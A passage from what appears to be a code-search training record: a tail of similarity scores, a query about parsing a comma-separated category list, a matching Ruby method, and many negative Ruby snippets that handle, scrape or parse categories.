"0.5748478",
"0.56658167",
"0.5556751",
"0.5543459",
"0.55333525",
"0.5448827",
"0.5423382",
"0.54153246",
"0.54114544",
"0.5368688",
"0.536731",
"0.5360066",
"0.53317136",
"0.53286946",
"0.5327647",
"0.5314464",
"0.5304159",
"0.5301351",
"0.5288304",
"0.5280777",
"0.52607",
"0.52604055",
"0.5259435",
"0.5255209",
"0.52541995",
"0.52322155",
"0.5227454",
"0.5215439",
"0.5203959",
"0.5201485",
"0.5201357",
"0.51943463",
"0.5193886",
"0.5171071",
"0.51691425",
"0.51690066",
"0.5165667",
"0.5153395",
"0.51465374",
"0.51429653",
"0.5140707",
"0.5138442",
"0.51335645",
"0.51321214",
"0.513013",
"0.51174617",
"0.5116087",
"0.5111298",
"0.50933325",
"0.50887537",
"0.5085884",
"0.5085691",
"0.5080305",
"0.5079345",
"0.5073184",
"0.5068575",
"0.5064807",
"0.5063856",
"0.5062803",
"0.5059544",
"0.5056784",
"0.5052683",
"0.5028188",
"0.50246644",
"0.50184864",
"0.50179154",
"0.50134933",
"0.50117826",
"0.50117505",
"0.500744",
"0.5003788",
"0.49956256",
"0.49885604",
"0.49746746",
"0.49689323",
"0.49687403",
"0.49637505",
"0.49619502",
"0.49532014",
"0.4950721",
"0.49494368",
"0.49484703",
"0.49473065",
"0.49445212",
"0.4941669",
"0.49406067",
"0.49390554",
"0.49382395",
"0.49268207",
"0.4924118",
"0.49227935",
"0.49193078",
"0.4915643",
"0.49108586"
] |
0.5316585
|
21
|
Parses the textbox list of categories from "signal processing,robotics" etc. to an enumerable object categories
|
def handle_categories(category_names)
return if !self.undergrad? || category_names.nil?
self.categories = [] # eliminates any previous interests so as to avoid duplicates
category_array = []
category_array = category_names.split(',').uniq if category_names
category_array.each do |cat|
self.categories << Category.find_or_create_by(name: cat.downcase.strip)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def cats_input=(what)\n self.categories = if what.blank?\n []\n else\n what.chomp.split(\"\\n\").map(&:downcase).map(&:strip)\n end\nend",
"def cats_input\n self.categories.join(\"\\n\")\nend",
"def get_categories\n cats = []\n params.each do |k,v|\n if k.starts_with? \"category\"\n name = v\n num = cat_number(k) \n cats << [name,num]\n end\n end\n return cats\n end",
"def set_categories\n @categories = {}\n @mechanize.page.search('//*[@id=\"prtcalst\"]//li').each do |cat|\n cat_link = cat.search('a')[0]\n cat_name = cat.search('.//em')[0].inner_text()\n catObj = Category.new()\n catObj.elem = cat_link\n catObj.name = cat_name\n @categories[cat_name] = catObj\n\n puts(\"#{cat_name}\")\n puts(\"-------------------\")\n end\n end",
"def categories\n @categories ||= wayfinder.decorated_vocabularies.sort_by(&:label)\n end",
"def select_category\n puts \"Please select from the following catagories:\\n\\n\"\n category_lister\n puts \"\\n\\n\"\n fact_input\n end",
"def categories(str)\n raise NotImplementedError\n end",
"def category_types\n @category_types.each\n end",
"def show_categories\n prompt = TTY::Prompt.new\n\n choices = []\n\n CSV.foreach('categories.csv', headers: true) do |row|\n choices.push(row['category'])\n end\n\n puts \"\\n\"\n\n category = prompt.select(\"Please pick a category from the list below:\", choices)\n @category_input_push = category\nend",
"def categories\n if @categories.nil?\n @categories = []\n category_nodes =\n FeedTools::XmlHelper.try_xpaths_all(self.channel_node, [\n \"category\",\n \"dc:subject\"\n ])\n unless category_nodes.nil?\n for category_node in category_nodes\n category = FeedTools::Category.new\n category.term = FeedTools::XmlHelper.try_xpaths(category_node, [\n \"@term\",\n \"text()\"\n ], :select_result_value => true)\n category.term.strip! unless category.term.blank?\n category.label = FeedTools::XmlHelper.try_xpaths(\n category_node, [\"@label\"],\n :select_result_value => true)\n category.label.strip! unless category.label.blank?\n category.scheme = FeedTools::XmlHelper.try_xpaths(category_node, [\n \"@scheme\",\n \"@domain\"\n ], :select_result_value => true)\n category.scheme.strip! unless category.scheme.blank?\n @categories << category\n end\n end\n end\n return @categories\n end",
"def list_categories\n Category.all.each.with_index(1) {|x, i| puts \"#{i}. #{x.name}\"} #Scraper.categories.each.with_index(1) {|category, i| puts \"#{i}. #{category[0]}\"}\n puts \"select the number of the category you would like to browse or type 'exit'\"\n end",
"def chosen_categories\n return chosen_options.collect &:category\n end",
"def categories\n if self.channel.generator == 'Twitter'\n return @item.title.scan(/#([^#\\s]+)/).flatten\n end\n return [] if @item.categories.empty?\n @item.categories.collect{|c| c.content}.reject{|c| c == '' || c.match(/^\\s+$/)}\n end",
"def parsed_category\n self.category = self[:category] unless self[:category].to_s =~ /^[A-Z]$/\n self[:category]\n end",
"def categorized_list\n %w[artist copyright character meta general]\n end",
"def parse_subdomain_categories\n dry_run_notification\n\n page_html = get_page_html SUBDOMAINS_LIST_URI\n\n ids = []\n\n if page_html\n page_html.css('#form_search_shop option').drop(1).each do |category|\n display_info \"#{category[:value]} --> #{category.content}\"\n\n ids << {id: category[:value], name: category.content}\n end\n end\n\n ids\n end",
"def build_tags(tags, category)\n \t\ttags = tags.split(',').map{ |tag| tag.strip } << category\n \t\ttags.flatten\n \tend",
"def list_categories(variable)\n if !variable.categories.empty?\n cat_list = \"\"\n variable.categories.split(',').each{|cat| cat_list << content_tag(:li, cat.capitalize, :class => cat.downcase)}\n content_tag(:ul, cat_list, :class => \"categories\")\n else\n content_tag(:span, \"None\")\n end\n end",
"def categories\n @categories ||= (@doc/\"Category\").collect { |it| Element.new(it) }\n end",
"def categories\n category_keys.collect(&:to_s)\n end",
"def categories\n category\n end",
"def getCategories()\n\t\tcat = Array.new\n\t\tcat.push(\"heroku\")\n\t\tcat.push(\"go\")\n\t\tcat.push(\"github\")\n\t\tcat.push(\"docker\")\n\t\tcat.push(\"css\")\n\t\tcat.push(\"apache\")\n\t\tcat.push(\"html\")\n\t\tcat.push(\"bootstrap\")\n\t\tcat.push(\"java ee\")\n\t\tcat.push(\"javafx\")\n\t\tcat.push(\"java\")\n\t\tcat.push(\"jquery\")\n\t\tcat.push(\"mips\")\n\t\tcat.push(\"c++\")\n\t\tcat.push(\"laravel\")\n\t\tcat.push(\"linux\")\n\t\tcat.push(\"opengl\")\n\t\tcat.push(\"sml\")\n\t\tcat.push(\"javascript\")\n\t\tcat.push(\"mongo db\")\n\t\tcat.push(\"c\")\n\t\tcat.push(\"yacc\")\n\t\tcat.push(\"circuit\")\n\t\tcat.push(\"php\")\n\t\tcat.push(\"mysql\")\n\t\tcat.push(\"node js\")\n\t\tcat.push(\"photoshop\")\n\t\tcat.push(\"rails\")\n\t\tcat.push(\"postgres\")\n\t\tcat.push(\"ruby\")\n\t\tcat.push(\"redis\")\n\t\tcat.push(\"mac osx\")\n\t\tcat.push(\"sass\")\n\t\tcat.push(\"ubuntu\")\n\t\tcat.push(\"bower\")\n\t\tcat.push(\"wordpress\")\n\t\tcat.push(\"css\")\n\t\tcat.push(\"hosted\")\n\t\tcat.push(\"python\")\n\t\tcat.push(\"maven\")\n\t\tcat.push(\"maven mojo\")\n\t\tcat.push(\"composer\")\n\t\tcat.push(\"mips\")\n\t\tcat.push(\"gulp\")\n\t\tcat.push(\"grunt\")\n\t\tcat.push(\"phpstorm\")\n\t\tcat.push(\"react\")\n\t\tcat.push(\"swift\")\n\t\tcat.push(\"wordpress\")\n\t\tcat.push(\"tomcat\")\n\t\tcat.push(\"redis\")\n\t\tcat.push(\"travis\")\n\t\treturn cat\n\tend",
"def categories\n taxonomies.all :conditions => { :classification => :category }\n end",
"def extract_categories(placeholder)\n placeholder.gsub(/\\({2}/, '' ).gsub(/\\){2}/, '' ).split(':')\n end",
"def extractFacetCategories( text )\n # initialize XML document for parsing\n doc = REXML::Document.new( text )\n\n # extract all facet categories and facet data from the XML attributes\n facets = Hash.new\n doc.elements.each( '/document/attributes/attribute' ) do |element|\n element_data = element.text\n type_attr = element.attribute( \"type\" ).to_s\n if( type_attr =~ /title/ )\n facets['title'] = element_data\n elsif( type_attr =~ /year/ )\n facets['year'] = element_data\n end\n end\n\n doc.elements.each( '/document/facets/facet' ) do |element|\n element_data = element.text\n type_attr = element.attribute( \"type\" ).to_s\n if( type_attr =~ /technology/ )\n facets['technology'] = element_data\n elsif( type_attr =~ /company/ )\n facets['company'] = element_data\n elsif( type_attr =~ /person/ )\n facets['person'] = element_data\n elsif( type_attr =~ /organization/ )\n facets['organization'] = element_data\n elsif( type_attr =~ /city/ )\n facets['city'] = element_data\n elsif( type_attr =~ /provinceorstate/ )\n facets['state'] = element_data\n end\n end\n \n facets.merge! extract_location_info( doc )[:facets]\n\n return facets\n end",
"def extract_categories cats\n cats.inject Hash.new do |hash, tag|\n\n # iterate through groups if the tag belongs to multiple\n tag[\"groups\"].each do |group|\n name = group[\"name\"]\n hash[name] ||= []\n hash[name] << tag[\"name\"]\n end\n hash\n end\n end",
"def new_input_set()\n return ListChannelsByCategoryInputSet.new()\n end",
"def load_categories(file)\n categories = IO.readlines(file)\n\n categories.each do |cat|\n cat.strip!\n end\n\n return categories\nend",
"def meal_categories\n # API EXAMPLE: https://www.themealdb.com/api/json/v1/1/list.php?c=list\n content = api_call('list.php?c=list')\n validate(content)\n content\n end",
"def analyze\n @categories = Violation.unique_categories\n end",
"def categories\n []\n end",
"def fresh_categories\n # these are the categories that will be displayed by default\n # in the html view\n return {\n \"speakerData\" => {\"label\" => \"Character Direct Speech\", \"data\" => []},\n \"indirectData\" => {\"label\" => \"Character Indirect Diction\", \"data\" => []},\n \"traitData\" => {\"label\" => \"Trait: Character Type\", \"data\" => []}, \n \"genderData\" => {\"label\" => \"Trait: Character Sex\", \"data\" => []},\n \"maritalStateData\" => {\"label\" => \"Trait: Character Marriage Status\", \"data\" => []},\n \"socecStatusData\" => {\"label\" => \"Trait: Character Class Status\", \"data\" => []},\n \"ageData\" => {\"label\" => \"Trait: Character Age\", \"data\" => []},\n \"occupationData\" => {\"label\" => \"Trait: Character Occupation\", \"data\" => []},\n }\nend",
"def category_names\n categories.map {|category| CategoryCode[category]}\n end",
"def fact_input\n response = user_input_capture # gets the user input and assigns it a variable.\n # iterates over the collection of categories and checks to see if user\n # input matches. If so, it runs #fact_display.\n if Category.all.detect {|x| x.name == response}\n fact_display(response)\n # checks if user input is an intenger between 1 and the length of the category array.\n # if it is, sets 'category' variable to the element at that index - 1.\n elsif response.to_i.between?(1, Category.all.length)\n category = Category.all[response.to_i - 1]\n fact_display(category.name)\n # if user input matches anything from the QUIT_INPUT constant, calls #exit_app.\n elsif QUIT_INPUT.include?(response.downcase)\n exit_app\n # if no user input matches valid responses, displays message and restarts method.\n else\n puts \"That isn't one of the categories! Please enter\\na number or name of a category.\"\n fact_input\n end\n exit_or_rerun\n end",
"def categories(body, headers, expectation = nil)\n expectation ||= Occi::Core::Category\n logger.debug \"Parsing #{expectation} from #{body.inspect} and #{headers.inspect}\" if logger_debug?\n\n cats = transform(body, headers).map do |line|\n cat = Text::Category.plain_category(line, false)\n lookup \"#{cat[:scheme]}#{cat[:term]}\", expectation\n end\n\n setify(cats)\n end",
"def categories\n nodes = @doc.xpath(\"atom:feed/atom:category\", ::AtomFeed::NS) || []\n nodes.map { |node| AtomCategory.new(node) }\n end",
"def adv_categories\n return ['AIR', 'BIKING', 'CULTURAL', 'CAMPING', 'MOTOR', 'CLIMBING', 'HIKING', 'SNOW', 'WATER', 'OTHER']\n end",
"def ffck_categories_detailed()\n ['Pitchoun', 'Poussin 1', 'Poussin 2', 'Benjamin 1', 'Benjamin 2', 'Minime 1', 'Minime 2', 'Cadet 1', 'Cadet 2',\n 'Junior 1', 'Junior 2', 'Senior', 'Veteran 1', 'Veteran 2', 'Veteran 3', 'Veteran +', 'Inconnu']\n end",
"def categories_as_strings= (new_categories)\n categories.clear\n\n new_categories.split(/\\s*, \\s*/).each do |title|\n cat =Category.where('LOWER(title) = ?', title.downcase).first\n categories << cat if !cat.nil?\n end\n end",
"def classify_listtags tokeninputs\n tokeninputs.each { |tokeninput|\n tokeninput[:cssid] = \"choice_#{tokeninput[:id]}\"\n tokeninput[:cssclass] = tokeninput[:status].to_s\n tokeninput[:name] << \" (#{tokeninput[:owner_name]})\" if tokeninput[:status] != :owned\n }\n tokeninputs\n end",
"def setup_categories # :nodoc:\n [:event, :time, :salutation, :recurrency, :preposition,\n :article, :day, :verb, :name, :number, :interrogation].each do |category|\n @matches[category] = []\n end\n @matches[:guessing] = false\n end",
"def category_value\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 2 )\n hash = nil\n category_class2 = nil\n category_term3 = nil\n category_scheme4 = nil\n category_title5 = nil\n category_rel6 = nil\n category_location7 = nil\n category_attributes8 = nil\n category_actions9 = nil\n # - - - - @init action - - - -\n hash = Hashie::Mash.new( {:kinds=>[],:mixins=>[],:actions=>[] } ) \n\n begin\n # at line 29:15: category_term category_scheme category_class ( category_title )? ( category_rel )? ( category_location )? ( category_attributes )? ( category_actions )? ( SEMICOLON )?\n @state.following.push( TOKENS_FOLLOWING_category_term_IN_category_value_75 )\n category_term3 = category_term\n @state.following.pop\n @state.following.push( TOKENS_FOLLOWING_category_scheme_IN_category_value_77 )\n category_scheme4 = category_scheme\n @state.following.pop\n @state.following.push( TOKENS_FOLLOWING_category_class_IN_category_value_79 )\n category_class2 = category_class\n @state.following.pop\n # at line 29:60: ( category_title )?\n alt_1 = 2\n look_1_0 = @input.peek( 1 )\n\n if ( look_1_0 == SEMICOLON )\n look_1_1 = @input.peek( 2 )\n\n if ( look_1_1 == WS )\n look_1_3 = @input.peek( 3 )\n\n if ( look_1_3 == TITLE )\n alt_1 = 1\n end\n elsif ( look_1_1 == TITLE )\n alt_1 = 1\n end\n end\n case alt_1\n when 1\n # at line 29:60: category_title\n @state.following.push( TOKENS_FOLLOWING_category_title_IN_category_value_81 )\n category_title5 = category_title\n @state.following.pop\n\n end\n # at line 29:76: ( category_rel )?\n alt_2 = 2\n look_2_0 = @input.peek( 1 )\n\n if ( look_2_0 == SEMICOLON )\n look_2_1 = @input.peek( 2 )\n\n if ( look_2_1 == WS )\n look_2_3 = @input.peek( 3 )\n\n if ( look_2_3 == REL )\n alt_2 = 1\n end\n elsif ( look_2_1 == REL )\n alt_2 = 1\n end\n end\n case alt_2\n when 1\n # at line 29:76: category_rel\n @state.following.push( TOKENS_FOLLOWING_category_rel_IN_category_value_84 )\n category_rel6 = category_rel\n @state.following.pop\n\n end\n # at line 29:90: ( category_location )?\n alt_3 = 2\n look_3_0 = @input.peek( 1 )\n\n if ( look_3_0 == SEMICOLON )\n look_3_1 = @input.peek( 2 )\n\n if ( look_3_1 == WS )\n look_3_3 = @input.peek( 3 )\n\n if ( look_3_3 == LOCATION )\n alt_3 = 1\n end\n elsif ( look_3_1 == LOCATION )\n alt_3 = 1\n end\n end\n case alt_3\n when 1\n # at line 29:90: category_location\n @state.following.push( TOKENS_FOLLOWING_category_location_IN_category_value_87 )\n category_location7 = category_location\n @state.following.pop\n\n end\n # at line 29:109: ( category_attributes )?\n alt_4 = 2\n look_4_0 = @input.peek( 1 )\n\n if ( look_4_0 == SEMICOLON )\n look_4_1 = @input.peek( 2 )\n\n if ( look_4_1 == WS )\n look_4_3 = @input.peek( 3 )\n\n if ( look_4_3 == ATTRIBUTES )\n alt_4 = 1\n end\n elsif ( look_4_1 == ATTRIBUTES )\n alt_4 = 1\n end\n end\n case alt_4\n when 1\n # at line 29:109: category_attributes\n @state.following.push( TOKENS_FOLLOWING_category_attributes_IN_category_value_90 )\n category_attributes8 = category_attributes\n @state.following.pop\n\n end\n # at line 29:130: ( category_actions )?\n alt_5 = 2\n look_5_0 = @input.peek( 1 )\n\n if ( look_5_0 == SEMICOLON )\n look_5_1 = @input.peek( 2 )\n\n if ( look_5_1 == WS || look_5_1 == ACTIONS )\n alt_5 = 1\n end\n end\n case alt_5\n when 1\n # at line 29:130: category_actions\n @state.following.push( TOKENS_FOLLOWING_category_actions_IN_category_value_93 )\n category_actions9 = category_actions\n @state.following.pop\n\n end\n # at line 29:148: ( SEMICOLON )?\n alt_6 = 2\n look_6_0 = @input.peek( 1 )\n\n if ( look_6_0 == SEMICOLON )\n alt_6 = 1\n end\n case alt_6\n when 1\n # at line 29:148: SEMICOLON\n match( SEMICOLON, TOKENS_FOLLOWING_SEMICOLON_IN_category_value_96 )\n\n end\n # --> action\n type = category_class2\n \t cat = Hashie::Mash.new\n \t cat.term \t\t= category_term3\n \t cat.scheme \t\t= category_scheme4\n \t cat.title\t\t= category_title5\n \t cat.related\t\t= category_rel6\n \t cat.location\t\t= category_location7\n \t cat.attributes\t\t= category_attributes8\n \t cat.actions\t\t= category_actions9\n \t hash[(type+'s').to_sym] \t<< cat\n \t \n # <-- action\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 2 )\n\n end\n \n return hash\n end",
"def fact_parser(category)\n response = API.choose_category(category)\n response[\"value\"]\n end",
"def categories\n Hash[self.class.catalogs.map { |fld, klass|\n name = fld.gsub(/_id$/, '_name');\n [fld, {:id => self.send(fld), :name => self.send(name)}] rescue nil\n }.reject {|cat| cat.nil?}]\n end",
"def check_categories!\n\n self.categories.map! do |category|\n if (not category.saved?) and loaded_category = Term.get(category.id)\n loaded_category\n else\n category\n end\n end\n\n end",
"def clil_categories_codes\n self.clil_categories.map{|c| c.code}.uniq\n end",
"def _build_category_list\n raw_categories = CatAPI.get_categories\n category_list = raw_categories.map {|category| category['name']}.sort\n # the \"kittens\" category is empty, and never returns photos\n category_list.delete(\"kittens\")\n return category_list.unshift(\"your favorites\")\nend",
"def categories\n if nodes = @node.xpath(\"category\")\n nodes.map { |node| RSSCategory.new(node) }\n end\n end",
"def parse\n products = []\n agent = WWW::Mechanize.new\n\n self.categories.each do |category|\n page = agent.get category.url\n page.search(\"//table[@width=175]\").each do |table|\n p = Product.new\n p.name = table.children[1].children[0].text\n p.price = table.children[3].children[2].text\n p.model = table.children[4].children[0].text\n str = table.children[5].text.gsub(/\\n|\\t|'/, '').strip.squeeze(\" \") #this position can hold the warranty info or description\n if str.include? 'Warranty'\n p.warranty = str\n else\n p.description = str\n p.warranty = table.children[6].text.gsub(/\\n|\\t|'/, '').strip.squeeze(\" \")\n end\n p.tag = category.name\n products << p\n end\n end\n\n products\n end",
"def parse(data)\n category, *content = data.split(':')\n category.downcase!\n formatter = Tentacles.const_get(@categories[category]).new\n formatter.parse(content)\n end",
"def category_value\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 2 )\n hash = nil\n category_class2 = nil\n category_term3 = nil\n category_scheme4 = nil\n category_title5 = nil\n category_rel6 = nil\n category_location7 = nil\n category_attributes8 = nil\n category_actions9 = nil\n # - - - - @init action - - - -\n hash = Hashie::Mash.new({:kinds => [], :mixins => [], :actions => []})\n\n begin\n # at line 56:15: category_term category_scheme category_class ( category_title )? ( category_rel )? ( category_location )? ( category_attributes )? ( category_actions )? ( ';' )?\n @state.following.push(TOKENS_FOLLOWING_category_term_IN_category_value_78)\n category_term3 = category_term\n @state.following.pop\n @state.following.push(TOKENS_FOLLOWING_category_scheme_IN_category_value_80)\n category_scheme4 = category_scheme\n @state.following.pop\n @state.following.push(TOKENS_FOLLOWING_category_class_IN_category_value_82)\n category_class2 = category_class\n @state.following.pop\n # at line 56:60: ( category_title )?\n alt_1 = 2\n look_1_0 = @input.peek(1)\n\n if (look_1_0 == T__11)\n look_1_1 = @input.peek(2)\n\n if (look_1_1 == WS)\n look_1_3 = @input.peek(3)\n\n if (look_1_3 == T__16)\n alt_1 = 1\n end\n elsif (look_1_1 == T__16)\n alt_1 = 1\n end\n end\n case alt_1\n when 1\n # at line 56:60: category_title\n @state.following.push(TOKENS_FOLLOWING_category_title_IN_category_value_84)\n category_title5 = category_title\n @state.following.pop\n\n end\n # at line 56:76: ( category_rel )?\n alt_2 = 2\n look_2_0 = @input.peek(1)\n\n if (look_2_0 == T__11)\n look_2_1 = @input.peek(2)\n\n if (look_2_1 == WS)\n look_2_3 = @input.peek(3)\n\n if (look_2_3 == T__17)\n alt_2 = 1\n end\n elsif (look_2_1 == T__17)\n alt_2 = 1\n end\n end\n case alt_2\n when 1\n # at line 56:76: category_rel\n @state.following.push(TOKENS_FOLLOWING_category_rel_IN_category_value_87)\n category_rel6 = category_rel\n @state.following.pop\n\n end\n # at line 56:90: ( category_location )?\n alt_3 = 2\n look_3_0 = @input.peek(1)\n\n if (look_3_0 == T__11)\n look_3_1 = @input.peek(2)\n\n if (look_3_1 == WS)\n look_3_3 = @input.peek(3)\n\n if (look_3_3 == T__18)\n alt_3 = 1\n end\n elsif (look_3_1 == T__18)\n alt_3 = 1\n end\n end\n case alt_3\n when 1\n # at line 56:90: category_location\n @state.following.push(TOKENS_FOLLOWING_category_location_IN_category_value_90)\n category_location7 = category_location\n @state.following.pop\n\n end\n # at line 56:109: ( category_attributes )?\n alt_4 = 2\n look_4_0 = @input.peek(1)\n\n if (look_4_0 == T__11)\n look_4_1 = @input.peek(2)\n\n if (look_4_1 == WS)\n look_4_3 = @input.peek(3)\n\n if (look_4_3 == T__19)\n alt_4 = 1\n end\n elsif (look_4_1 == T__19)\n alt_4 = 1\n end\n end\n case alt_4\n when 1\n # at line 56:109: category_attributes\n @state.following.push(TOKENS_FOLLOWING_category_attributes_IN_category_value_93)\n category_attributes8 = category_attributes\n @state.following.pop\n\n end\n # at line 56:130: ( category_actions )?\n alt_5 = 2\n look_5_0 = @input.peek(1)\n\n if (look_5_0 == T__11)\n look_5_1 = @input.peek(2)\n\n if (look_5_1 == WS || look_5_1 == T__20)\n alt_5 = 1\n end\n end\n case alt_5\n when 1\n # at line 56:130: category_actions\n @state.following.push(TOKENS_FOLLOWING_category_actions_IN_category_value_96)\n category_actions9 = category_actions\n @state.following.pop\n\n end\n # at line 56:148: ( ';' )?\n alt_6 = 2\n look_6_0 = @input.peek(1)\n\n if (look_6_0 == T__11)\n alt_6 = 1\n end\n case alt_6\n when 1\n # at line 56:148: ';'\n match(T__11, TOKENS_FOLLOWING_T__11_IN_category_value_99)\n\n end\n # --> action\n type = category_class2\n cat = Hashie::Mash.new\n cat.term = category_term3\n cat.scheme = category_scheme4\n cat.title = category_title5\n cat.related = category_rel6\n cat.location = category_location7\n cat.attributes = category_attributes8\n cat.actions = category_actions9\n hash[(type+'s').to_sym] << cat\n\n # <-- action\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 2 )\n\n end\n\n return hash\n end",
"def tags_and_categories=(text)\n active_content_div.text_field(:id=>/as-input-\\d+/).set text +\"\\n\"\n wait_for_ajax\n end",
"def categories_list\n self.categories.collect{|c| c.name}\n end",
"def extract_categories(title)\n # First find the article_id\n article_id = get_article_id(title)\n return nil if article_id.nil?\n \n (prefix1, prefix2) = make_path_prefix(article_id)\n fname = @enwiki_dir + \"/\" + prefix1 + \"/\" + prefix2 + \"/#{article_id}.xml\"\n catlist = []\n open(fname).each_line do |line|\n if line =~ /\\[\\[(Category:.*?)\\]\\]/\n # Remove stuff after \"|\" if any\n cat_title = $1.gsub /\\|.*/, ''\n cat_article_id = get_article_id(cat_title)\n catlist.push(cat_article_id) if not cat_article_id.nil?\n end\n end\n return catlist\n end",
"def clil_categories_codes\n self.clil_categories.map { |c| c.code }.uniq\n end",
"def categories\n\t\trender :json => {:status => 1, :categories => {\"1\" => \"Apparel & Accessories\", \"2\" => \"Arts and Crafts\", \"3\" => \"Electronics\", \n\t\t\t\"4\" => \"Home Appliances\", \"5\" => \"Kids & Baby\", \"6\" => \"Movies, Music, Books & Games\", \"7\" => \"Motor Vehicles\", \n\t\t\t\"8\" => \"Office & Education\", \"9\" => \"Parties & Events\", \"10\" => \"Spaces & Venues\", \"11\" => \"Sports & Outdoors\", \"12\" => \"Tools & Gardening\", \"13\" => \"Other\"}}, :status => 200\n\t\treturn\n\tend",
"def set_category_controls\n @control_help_window.add_control(Vocab::ITEM, Input::Keys::A) \n @control_help_window.add_control(Vocab::BACK, Input::Keys::B)\n @control_help_window.add_control(Vocab::CHANGE_CATEGORY, Input::Keys::L, Input::Keys::R)\n end",
"def categories\n self.button(:id=>\"entity_group_permissions\").click\n self.button(:text=>\"Categories\").click\n self.wait_until { self.text.include? \"Assign a category\" }\n self.class.class_eval { include AddRemoveCategories }\n end",
"def getCat \n\t\tputs ''\n\t\tputs 'Fetching categories . . '\n\t\t@page.css('ul.dropdown li a').each do |cat|\n\t\t\tarr=[]\n\t\t\tarr.push cat.text\n\t\t\tarr.push cat['href']\n\t\t\t@arr_cat.push arr\n\t\t\tprint '. '\n\t\tend\n\t\ti=0\n\t\t@arr_cat.each do |pair|\n\t\t\t@db.execute 'insert into category values (?, ? ,?)', i, pair[0], pair[1]\n \t\t\ti +=1\n \t\tend\n\tend",
"def categories\n\t\t\t@cat_cache ||= @db.js('musicthoughts.all_categories()').map {|c| c.merge(category: c[@lang]) }\n\t\t\t@cat_cache\n\t\tend",
"def normalize_categories(categories = [])\n [categories].flatten.collect do |cat|\n cat.to_s.encode(@encoding).downcase.gsub(/[^a-z\\d\\.\\-_ ]/,'')\n end.reject{|cat| cat == ''}.compact\n end",
"def categories\n data['JobCategory'] || []\n end",
"def crew_categories\n array = []\n full_credits.css('h4.dataHeaderWithBorder').reject{ |h| h['id'] == 'cast' }.map do |node|\n array << (node.children.size > 1 ? node.children.first.text.strip_whitespace : node.children.text.strip_whitespace)\n end\n\n array\n end",
"def categories=(value)\n @categories = value\n end",
"def ffck_categories()\n %w(Pitchoun Poussin Benjamin Minime Cadet Junior Senior Veteran Inconnu)\n end",
"def main_categories\n categories.to_a[0..3]\n end",
"def categories\n parsed_json['data']\n end",
"def train(category, text)\n hash = @categories[category.to_sym] ||= Hash.new(0)\n split(text).each{|word| hash[word] += 1 }\n end",
"def categories\n return [] if @feed.channel.categories.empty? && @feed.channel.dc_subjects.empty?\n [@feed.channel.categories, ((@feed.channel.dc_subjects.empty?) ? nil : @feed.channel.dc_subjects)].flatten.uniq.compact.collect{|c| c.content}.reject{|c| c == '' || c.match(/^\\s+$/)}\n end",
"def assign_categories \n if @category_names \n self.categories = @category_names.split(/\\s+/).map do |name|\n Category.find_or_create_by_name(name)\n end\n end\n end",
"def parse\n products = []\n agent = WWW::Mechanize.new\n\n self.categories.each do |category|\n page = agent.get category.url\n page.search(\"//table[@class='OutBorder']\").each do |tr|\n unless (tr.children[0].text == 'Brand.') #ignore header <tr>'s\n p = Product.new\n p.name = tr.children[0].children[0].children[1].text\n p.image = tr.children[1].children[0].children[1].children[0]['src']\n p.brand = tr.children[0].text\n p.model = tr.children[2].text\n p.description = tr.children[4].text\n p.price = tr.children[10].text\n p.warranty = tr.children[6].text.gsub(/'/, '')\n p.stock = !tr.children[14].text.include?('(0)')\n tr.children[14].text =~ /\\d+/ #try get the numerical value inside this expression\n p.items_in_stock = $&\n p.tag = category.name\n products << p\n end\n end\n end\n\n products\n end",
"def list_categories \n @categories = [\"Muesums\", \"Music, Comedy, and Nightlife\", \"Shopping\", \"Sports & Recreation\", \"Theater & Performing Arts\", \"Tours & Attractions\"]\n @categories.each.with_index(1) {|index,category| \n puts \"#{category} - #{index}\"\n }\n end",
"def category_candidates(category)\n return @category_cache[category] unless @category_cache[category].nil?\n # from whole name singularized\n candidates = []\n decorated_category = Cyclopedio::Syntax::NameDecorator.new(category, parse_tree_factory: @parse_tree_factory)\n @nouns.singularize_name(category.name, decorated_category.category_head).each do |name_singularized|\n candidates.concat(candidates_for_name(name_singularized,@category_filters))\n end\n candidate_set = create_candidate_set(category.name,candidates)\n return @category_cache[category] = candidate_set if !candidate_set.empty? || @category_exact_match\n # from simplified name\n candidate_set = candidate_set_for_syntax_trees(decorated_category.category_head_trees,@category_filters)\n return @category_cache[category] = candidate_set unless candidate_set.empty?\n # from original whole name\n candidate_set = candidate_set_for_name(category.name, @category_filters)\n @category_cache[category] = candidate_set\n end",
"def make_command_list\n @categories.each { |cat| \n add_command(\"\", cat, false, QuestData::ICONS[cat]) }\n end",
"def categories()\n @web.get('http://www.waymarking.com/cat/categorydirectory.aspx') do |page|\n ile = 0\n #puts page.parser.to_html.to_s\n cache = {}\n\n page.parser.css('div#content div.gutter a').each do |cat|\n href = cat.attr('href')\n m = Category::GUID_REGEXP.match href\n key = Waymarking::Utils.parameterize(cat.text)\n unless m.nil? then\n ile +=1\n raise DuplicatedCategory if cache.has_key? key\n\n cache[key] = m[1]\n #puts \"#{ile} #{key} #{cat.text} #{m[1]}\"\n else\n puts href\n end\n\n end\n\n cache2 = {}\n cache.keys.each do |key|\n @web.get(\"http://www.waymarking.com/cat/details.aspx?f=1&guid=#{cache[key]}&exp=True\") do |page2|\n begin\n cat = Waymarking::Category.from_html(page2)\n cache2[key] = cat\n rescue\n puts key\n end\n end\n end\n\n File.open('categories.yml', 'w') do |f|\n f.write YAML::dump(cache2)\n end\n end\n end",
"def category_list_builder\n categories = API.get_categories\n categories.each do |cat|\n Category.new(cat)\n end\n end",
"def categories_as_string= (new_categories)\n categories.clear\n\n new_categories.split(/\\s*,\\s*/).each do |title|\n cat = Category.where('LOWER(title) = ?', title.downcase).first\n categories << cat if cat\n end\n end",
"def categories_as_string= (new_categories)\n categories.clear\n new_categories.split(/\\s*,\\s*/).each do |title|\n cat = Category.where('LOWER(title) = ?', title.downcase).first\n categories << cat if !cat.nil?\n\n end\n end",
"def category_parser\n @category_parser || Category\n end",
"def tags\n node.css(\"category\").map(&:text)\n end",
"def category_names\n self.categories.map do |category|\n category.name\n end\n end",
